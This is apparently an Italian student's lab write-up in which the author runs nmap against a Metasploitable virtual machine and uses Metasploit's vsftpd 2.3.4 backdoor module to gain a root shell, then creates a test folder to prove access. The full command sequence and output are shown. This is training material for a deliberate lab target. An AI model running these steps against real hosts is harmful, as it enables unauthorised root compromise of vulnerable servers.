

ESERCIZIO W15D4

In questo esercizio ho “hackerato” la macchina metasploitable. Per prima cosa ho eseguito una scansione con nmap per rilevare le porte aperte e trovare il servizio richiesto dall'esercizio (vsftpd).

Il servizio risulta attivo sulla porta 21 con protocollo ftp.

```
L$ sudo nmap -sV 192.168.32.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-19 05:06 EST
Nmap scan report for 192.168.32.101
Host is up (0.00054s latency).
Not shown: 980 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
```

Successivamente ho usato il tool metasploit, avviato da terminale tramite il comando msfconsole.

Ho ricercato tramite il comando 'search' una possibile vulnerabilità per il protocollo ftp versione vsftpd.

```
msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  --                                     -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 >
```

Ho scelto di utilizzare il secondo modulo , con il comando use exploit/unix/vsftpd_234_backdoor ho selezionato il modulo per utilizzarlo.

Successivamente con show options ho visualizzato i valori che richiede tale modulo per poter funzionare.

In questo caso era sufficiente impostare solo l'indirizzo ip del target e la porta (RHOSTS) (RPORT).

```
kali@kali: ~  
File Actions Edit View Help  
  
Id  Name  
--  --  
0   Automatic  
  
View the full module info with the info, or info -d command.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.32.101  
RHOSTS => 192.168.32.101  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21  
RPORT => 21  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  


| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  | 192.168.32.101  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |

  
Payload options (cmd/unix/interact):  


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |

  
View the full module info with the info, or info -d command.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Una volta impostati i valori ho eseguito il comando exploit per far partire l'exploit.

Il tool è stato in grado di creare una shell che mi ha permesso di prendere il controllo della macchina target.

Come richiesto dall'esercizio ho creato una cartella nel percorso root per dimostrare effettivamente che fossi all'interno della macchina.

```

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.32.101:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.32.101:21 - USER: 331 Please specify the password.
[*] 192.168.32.101:21 - Backdoor service has been spawned, handling...
[*] 192.168.32.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:33137 → 192.168.32.101:6200) at 2024-02-19 05:12:43 -0500

pwd
/
sudo mkdir test_metasploit

```

Come si può notare sia sulla macchina Kali che sulla macchina metasploitable posso visualizzare tutti i file ed anche la cartella appena creata test_metasploit

```

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.32.101:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.32.101:21 - USER: 331 Please specify the password.
[*] 192.168.32.101:21 - Backdoor service has been spawned, handling...
[*] 192.168.32.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:33137 → 192.168.32.101:6200) at 2024-02-19 05:12:43 -0500

pwd
/
sudo mkdir test_metasploit
ls
apache-tomcat-9.0.85.tar.gz
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
pippo
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz

```

```

Metasploitable [In esecuzione] - Oracle VM VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

inet addr:127.0.0.1  Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING  MTU:16436  Metric:1
RX packets:54 errors:0 dropped:0 overruns:0 frame:0
TX packets:54 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:19981 (19.5 KB)  TX bytes:19981 (19.5 KB)

msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ cd
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ ls
apache-tomcat-10.1.18.tar.gz.asc  apache-tomcat-9.0.85  vulnerable
apache-tomcat-10.1.18.tar.gz.asc.1  apache-tomcat-9.0.85.tar.gz
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
apache-tomcat-9.0.85.tar.gz  home  mnt  sbin  var
bin  initrd  nohup.out  srv  vmlinuz
boot  initrd.img  opt  sys
cdrom  lib  pippo  test_metasploit
dev  lost+found  proc  tmp
etc  media  root  usr
msfadmin@metasploitable:/$ _

```